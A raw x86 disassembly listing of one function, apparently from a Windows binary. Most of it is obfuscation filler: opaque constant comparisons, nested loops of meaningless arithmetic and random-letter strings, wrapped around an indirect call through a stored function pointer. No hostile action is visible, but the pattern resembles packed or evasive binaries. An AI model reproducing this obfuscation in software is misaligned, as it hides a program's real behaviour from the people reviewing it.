jmp 0x40d710
lea ecx, [ebp - 0x344]
call fcn.00402dad
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x19c], 0x100c
jge 0x40d73e
mov edx, dword [ebp - 0x238]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d75a
or dword [ebp - 4], 0xffffffff
jmp 0x40d764
cmp dword [0xa93804], 0
je 0x40de8c
mov dword [ebp - 0x1a4], 0x734b
mov dword [ebp - 0x2ec], str.yach_qrh_ekr_urbncjzoh_aokeiqt_eeclbx_pyz_dbsl_ksncugiy_yfacov_hkge_dykbob
cmp dword [ebp - 0x1a4], 0x7372
jle 0x40d81a
and dword [ebp - 0x74], 0
jmp 0x40d7a2
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xf42
jge 0x40d81a
and dword [ebp - 0x7c], 0
jmp 0x40d7b8
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x19d3
jge 0x40d818
and dword [ebp - 0x84], 0
jmp 0x40d7d7
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x6210
jge 0x40d816
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x84]
shl eax, cl
cdq
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], edx
push dword [ebp - 0x254]
push dword [ebp - 0x258]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40d7ca
jmp 0x40d7b1
jmp 0x40d79b
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x1a4], 0x7126
jge 0x40d846
mov edx, dword [ebp - 0x2ec]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d862
or dword [ebp - 4], 0xffffffff
jmp 0x40d86c
mov dword [ebp - 0x1ac], 0x7d3e
mov dword [ebp - 0x244], str.bcvlbum_nlfhgtxgp_ifnjx_slnb_wwpav_gedn_otpgbvwgw_jgzxter_jvf_gxbxoe_atnnetekq_bir_bybesxb_mixyt
cmp dword [ebp - 0x1ac], 0x7ec2
jle 0x40d938
and dword [ebp - 0x8c], 0
jmp 0x40d8a6
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x100a
jge 0x40d938
and dword [ebp - 0x94], 0
jmp 0x40d8cc
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x2f79
jge 0x40d933
and dword [ebp - 0x9c], 0
jmp 0x40d8ee
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x29e9
jge 0x40d931
mov eax, dword [ebp - 0x8c]
or eax, dword [ebp - 0x94]
or eax, dword [ebp - 0x9c]
cdq
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x260], edx
push dword [ebp - 0x260]
push dword [ebp - 0x264]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40d8e1
jmp 0x40d8bf
jmp 0x40d899
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x1ac], 0x7bfc
jge 0x40d964
mov edx, dword [ebp - 0x244]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40d980
or dword [ebp - 4], 0xffffffff
jmp 0x40d98a
mov dword [ebp - 0x1b4], 0xade
mov dword [ebp - 0x250], str.jsfwiqrox_coi_djbm_xlu_boeocblom_iqtvtw
cmp dword [ebp - 0x1b4], 0xb25
jle 0x40da91
and dword [ebp - 0xa4], 0
jmp 0x40d9c4
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x48a7
jge 0x40da91
and dword [ebp - 0xac], 0
jmp 0x40d9ea
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x150e
jge 0x40da8c
and dword [ebp - 0xb4], 0
jmp 0x40da10
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x60d2
jge 0x40da87
and dword [ebp - 0xbc], 0
jmp 0x40da32
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x35cb
jge 0x40da82
mov esi, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xac]
sar esi, cl
mov eax, dword [ebp - 0xb4]
cdq
idiv dword [ebp - 0xbc]
or esi, edx
mov eax, esi
cdq
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], edx
push dword [ebp - 0x26c]
push dword [ebp - 0x270]
mov ecx, 0xa92678
call fcn.00425bf7
jmp 0x40da25
jmp 0x40da03
jmp 0x40d9dd
jmp 0x40d9b7
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x268], eax
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x1b4], 0x72b
jge 0x40dac0
mov edx, dword [ebp - 0x250]
mov ecx, 0xa92678
call fcn.00427437
jmp 0x40dadc
or dword [ebp - 4], 0xffffffff
jmp 0x40dae6
mov dword [ebp - 0x1bc], 0x430d
mov dword [ebp - 0x25c], str.dyyw_elu_kwvu_yxm_gfgjm_cisaowx_vrv_pqt_sjlov_ujvorhg_aoibz
cmp dword [ebp - 0x1bc], 0x4601
jle 0x40dbd3
and dword [ebp - 0xd4], 0
jmp 0x40db20
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x6170
jge 0x40dbd3
and dword [ebp - 0xc4], 0
jmp 0x40db46
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x32fd
jge 0x40dbce
and dword [ebp - 0xcc], 0
jmp 0x40db68
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x7b74
jge 0x40dbc9
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xcc]
sar eax, cl
xor eax, dword [ebp - 0xd4]
cdq
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x278], edx
push dword [ebp - 0x278]
push dword [ebp - 0x27c]
lea ecx, [ebp - 0x35c]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x35c]
call fcn.00402bf6
jmp 0x40db5b
jmp 0x40db39
jmp 0x40db13
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x1bc], 0x3fbe
jge 0x40dbfe
push dword [ebp - 0x25c]
call fcn.00483bca
pop ecx
jmp 0x40dc1a
or dword [ebp - 4], 0xffffffff
jmp 0x40dc24
mov dword [ebp - 0x1c4], 0x5059
mov dword [ebp - 0x2bc], str.entglgoh_qqlvwewmo_xhjvetvl_bfwhe_oovozefvh_jomf_nzlrfro_vkabzoa
cmp dword [ebp - 0x1c4], 0x5359
jle 0x40dcf2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
and dword [ebp - 0xdc], 0
jmp 0x40dc72
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x1612
jge 0x40dcf2
and dword [ebp - 0xe4], 0
jmp 0x40dc94
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x593b
jge 0x40dced
mov eax, dword [ebp - 0xdc]
xor eax, dword [ebp - 0xe4]
cdq
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], edx
push dword [ebp - 0x284]
push dword [ebp - 0x288]
lea ecx, [ebp - 0x374]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x374]
call fcn.00402bf6
jmp 0x40dc87
jmp 0x40dc65
push dword [ebp - 0x1e8]
push dword [ebp - 0x268]
call dword [0xa93804]
mov dword [ebp - 0x274], eax
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x1c4], 0x4fd4
jge 0x40dd29
push dword [ebp - 0x2bc]
call fcn.00483bca
pop ecx
jmp 0x40dd45
or dword [ebp - 4], 0xffffffff
jmp 0x40dd4f
mov dword [ebp - 0x1cc], 0x4739
mov dword [ebp - 0x2c4], str.dzwrl_nru_kqfq_xwawar_vjrlcig_vkqa_aaiee_eteosy_iiko
cmp dword [ebp - 0x1cc], 0x47a7
jle 0x40de3c
and dword [ebp - 0x104], 0
jmp 0x40dd89
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x766d
jge 0x40de3c
and dword [ebp - 0xf4], 0
jmp 0x40ddaf
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x5df3
jge 0x40de37
and dword [ebp - 0xfc], 0
jmp 0x40ddd1
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x1bdd
jge 0x40de32
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xfc]
sar eax, cl
and eax, dword [ebp - 0x104]
cdq
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], edx
push dword [ebp - 0x294]
push dword [ebp - 0x298]
lea ecx, [ebp - 0x38c]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x38c]
call fcn.00402bf6
jmp 0x40ddc4
jmp 0x40dda2
jmp 0x40dd7c
mov eax, dword [ebp - 0x274]
jmp 0x40dff8
mov dword [ebp - 0x1d4], 0x7f09
mov dword [ebp - 0x280], str.yqbiv_jfwasdbk_bqbvmjbu_tnwmpgrsn_kdbhvfxsd_yacbb_xfto_deal
cmp dword [ebp - 0x1d4], 0x81cf
jle 0x40dfaf
and dword [ebp - 0x10c], 0
jmp 0x40dec6
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x1700
jge 0x40dfaf
and dword [ebp - 0x114], 0
jmp 0x40deec
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x55f4
jge 0x40dfaa
and dword [ebp - 0x11c], 0
jmp 0x40df12
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x6a5
jge 0x40dfa5
and dword [ebp - 0x124], 0
jmp 0x40df38
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x5d8
jge 0x40dfa0
mov eax, dword [ebp - 0x10c]
cdq
idiv dword [ebp - 0x114]
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x124]
and eax, edx
cdq
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], edx
push dword [ebp - 0x2a4]
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x3bc]
call fcn.00405377
pop ecx
pop ecx
mov ecx, eax
call fcn.00402e09
push eax
call fcn.00483bca
pop ecx
lea ecx, [ebp - 0x3bc]
call fcn.00402bf6
jmp 0x40df2b
jmp 0x40df05
jmp 0x40dedf
jmp 0x40deb9
xor eax, eax
jmp 0x40dff8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret